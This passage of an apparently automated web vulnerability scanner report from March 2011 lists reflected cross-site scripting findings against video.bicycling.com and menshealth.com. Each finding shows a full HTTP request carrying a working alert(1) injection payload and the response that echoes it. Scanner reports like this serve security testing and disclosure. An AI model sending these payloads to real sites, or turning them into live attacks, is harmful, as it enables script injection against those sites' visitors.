Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=ffebad8e173024e8ec1573a901e31dc8; path=/; expires=Fri, 11-Mar-2011 16:41:01 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48395
Date: Thu, 10 Mar 2011 16:41:01 GMT
X-Varnish: 908938376
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
y=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed8bf17"><script>alert(1)</script>6f4cc8b73d4/player/container/298/275/C5QKZB153SRSPSH2%0AServer: video.bicycling.com%0APath: /embed8bf17">
...[SNIP]...

2.38. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82156"><script>alert(1)</script>597d18b9bdb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/player82156"><script>alert(1)</script>597d18b9bdb/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=0a36f3dd74372891ac4a354e31f035b9; path=/; expires=Fri, 11-Mar-2011 16:41:06 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48395
Date: Thu, 10 Mar 2011 16:41:06 GMT
X-Varnish: 908939174
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed/player82156"><script>alert(1)</script>597d18b9bdb/container/298/275/C5QKZB153SRSPSH2%0AServer: video.bicycling.com%0APath: /embed/player82156">
...[SNIP]...

2.39. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a8e90<img%20src%3da%20onerror%3dalert(1)>21366086941 was submitted in the REST URL parameter 4. This input was echoed as a8e90<img src=a onerror=alert(1)>21366086941 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /embed/player/container/298a8e90<img%20src%3da%20onerror%3dalert(1)>21366086941/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85733
Date: Thu, 10 Mar 2011 16:41:27 GMT
X-Varnish: 908941969
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
<style type="text/css">
   body { font: 12px geneva, helvetica, sans-serif; margin: 0px; background-color: #FFFFFF; width: 298a8e90<img src=a onerror=alert(1)>21366086941px; height: 275px; }
   #magnify_widget_loading_indicator { height: 66px; width: 298a8e90<img src=a onerror=alert(1)>
...[SNIP]...

2.40. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4cd7'%3bb2cc4d48b59 was submitted in the REST URL parameter 4. This input was echoed as a4cd7';b2cc4d48b59 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /embed/player/container/298a4cd7'%3bb2cc4d48b59/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85565
Date: Thu, 10 Mar 2011 16:41:20 GMT
X-Varnish: 908941111
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
mponents/';
           var toolRoot = '/embed/player/templates/compact/modules/';
           var isIE = navigator.userAgent.indexOf("MSIE");
           document.body.style.height = '275px';
           document.body.style.width = '298a4cd7';b2cc4d48b59px';
           var isSSO = '';
           var widgetCID = 'C5QKZB153SRSPSH2';
           var currentCID = '21CQ460F9BWWZSF9';
           var width = '298a4cd7';b2cc4d48b59';
           var height = '275';
           var playerWidth = 282;
           var pl
...[SNIP]...

2.41. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97722'%3b90a6bc74ebe was submitted in the REST URL parameter 5. This input was echoed as 97722';90a6bc74ebe in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /embed/player/container/298/27597722'%3b90a6bc74ebe/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85665
Date: Thu, 10 Mar 2011 16:41:39 GMT
X-Varnish: 908943914
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
ot = '/embed/player/templates/compact/components/';
           var toolRoot = '/embed/player/templates/compact/modules/';
           var isIE = navigator.userAgent.indexOf("MSIE");
           document.body.style.height = '27597722';90a6bc74ebepx';
           document.body.style.width = '298px';
           var isSSO = '';
           var widgetCID = 'C5QKZB153SRSPSH2';
           var currentCID = '21CQ460F9BWWZSF9';
           var width = '298';
           var height = '27597722';90a6bc74e
...[SNIP]...

2.42. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload b8aeb<img%20src%3da%20onerror%3dalert(1)>474e73dc4fd was submitted in the REST URL parameter 5. This input was echoed as b8aeb<img src=a onerror=alert(1)>474e73dc4fd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /embed/player/container/298/275b8aeb<img%20src%3da%20onerror%3dalert(1)>474e73dc4fd/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85689
Date: Thu, 10 Mar 2011 16:41:45 GMT
X-Varnish: 908944847
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
<style type="text/css">
   body { font: 12px geneva, helvetica, sans-serif; margin: 0px; background-color: #FFFFFF; width: 298px; height: 275b8aeb<img src=a onerror=alert(1)>474e73dc4fdpx; }
   #magnify_widget_loading_indicator { height: 66px; width: 298px; position: absolute; top: 104.5px; text-align: center; }

           /* make sure that the add-this flash object that keeps showing up at t
...[SNIP]...

2.43. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5d7b"><script>alert(1)</script>9abb6c75940 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/player/container/298/275/C5QKZB153SRSPSH2a5d7b"><script>alert(1)</script>9abb6c75940?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=6718ae9537f93a5668cd28d529e90e73; path=/; expires=Fri, 11-Mar-2011 16:41:49 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-Cached: No
Content-Length: 48395
Date: Thu, 10 Mar 2011 16:41:49 GMT
X-Varnish: 908945755
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2a5d7b"><script>alert(1)</script>9abb6c75940%0AServer: video.bicycling.com%0APath: /embed/player/container/298/275/C5QKZB153SRSPSH2a5d7b">
...[SNIP]...

2.44. http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [referrer parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/container/298/275/C5QKZB153SRSPSH2

Issue detail

The value of the referrer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f21bd'%3balert(1)//17703974801 was submitted in the referrer parameter. This input was echoed as f21bd';alert(1)//17703974801 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.htmlf21bd'%3balert(1)//17703974801 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: text/html
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
Content-Length: 85481
Date: Thu, 10 Mar 2011 16:40:44 GMT
X-Varnish: 908935604
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

       <title>Bicycling
...[SNIP]...
+ window.location.hostname + '/embed/player/C5QKZB153SRSPSH2;'
var magnifyReferrer = decodeURIComponent('http://www.bicycling.com/sites/default/files/iframe_filter/268f584d3b19887c40f44a57f48e6677.htmlf21bd';alert(1)//17703974801');

var magnifyViewer = '//w-c/C5QKZB153SRSPSH2';
var registrationRequired = false;

           var playerRoot = '/embed/player/';
           var componentRoot = '/embed/player/templates/compact/components/';
           va
...[SNIP]...

2.45. http://video.bicycling.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 582f9"><script>alert(1)</script>5f6610e2d0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico582f9"><script>alert(1)</script>5f6610e2d0 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294; mvp_session=f899d191af7c22c1f7a0d0e1386c14d2

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=f899d191af7c22c1f7a0d0e1386c14d2; path=/; expires=Fri, 11-Mar-2011 16:50:06 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 47969
Date: Thu, 10 Mar 2011 16:50:06 GMT
X-Varnish: 909018290
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/favicon.ico582f9"><script>alert(1)</script>5f6610e2d0%0AServer: video.bicycling.com%0APath: /favicon.ico582f9">
...[SNIP]...

2.46. http://video.bicycling.com/services/usage_request [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/services/usage_request

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 111bf"><script>alert(1)</script>927d1636d01 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services111bf"><script>alert(1)</script>927d1636d01/usage_request?content_type=player&assoc_type=C&assoc_cid=21CQ460F9BWWZSF9 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
X-Prototype-Version: 1.6.0.3
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=32fd78e5b8e565d81a8b753a695c4932; path=/; expires=Fri, 11-Mar-2011 16:43:12 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48575
Date: Thu, 10 Mar 2011 16:43:13 GMT
X-Varnish: 908958246
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
his automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/services111bf"><script>alert(1)</script>927d1636d01/usage_request%0AServer: video.bicycling.com%0APath: /services111bf">
...[SNIP]...

2.47. http://video.bicycling.com/services/usage_request [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/services/usage_request

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92a9f"><script>alert(1)</script>07c14eaacbf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services/usage_request92a9f"><script>alert(1)</script>07c14eaacbf?content_type=player&assoc_type=C&assoc_cid=21CQ460F9BWWZSF9 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2?referrer=http%3A%2F%2Fwww.bicycling.com%2Fsites%2Fdefault%2Ffiles%2Fiframe_filter%2F268f584d3b19887c40f44a57f48e6677.html
X-Prototype-Version: 1.6.0.3
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 404 Not Found
Server: Apache
Vary: Accept-Encoding
Set-Cookie: mvp_session=03364444f44b5f5745218908ae105253; path=/; expires=Fri, 11-Mar-2011 16:43:15 GMT
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: NO
X-Magnify-Cached: No
Content-Length: 48575
Date: Thu, 10 Mar 2011 16:43:15 GMT
X-Varnish: 908958605
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

...[SNIP]...
lly generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://video.bicycling.com/services/usage_request92a9f"><script>alert(1)</script>07c14eaacbf%0AServer: video.bicycling.com%0APath: /services/usage_request92a9f">
...[SNIP]...

2.48. http://www.menshealth.com/cda/expertlandingpage.do [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/expertlandingpage.do

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4bfdb'%3balert(1)//57bc71cf34c was submitted in the site parameter. This input was echoed as 4bfdb';alert(1)//57bc71cf34c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/expertlandingpage.do?site=MensHealth4bfdb'%3balert(1)//57bc71cf34c&cm_re=HP-_-Footer-_-Experts HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:46:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89802

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<!-- Get URL attribute for cache
...[SNIP]...
<scri' + 'pt type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/menshealth4bfdb';alert(1)//57bc71cf34c/experts;'+rasegs+';topic=' + topic + ';sbtpc=;cat=;kw=experts;tile=' + tile++ + ';slot=728x90.1;sz=728x90;dcopt=ist;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.49. http://www.menshealth.com/cda/expertlandingpage.do [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/cda/expertlandingpage.do

Issue detail

The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 540e5"><script>alert(1)</script>6cfa3a3c4c3 was submitted in the site parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/expertlandingpage.do?site=MensHealth540e5"><script>alert(1)</script>6cfa3a3c4c3&cm_re=HP-_-Footer-_-Experts HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 16:46:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89493

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<!-- Get URL attribute for cache
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/menshealth540e5"><script>alert(1)</script>6cfa3a3c4c3/experts;'+rasegs+';topic=home;sbtpc=;cat=;kw=experts;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

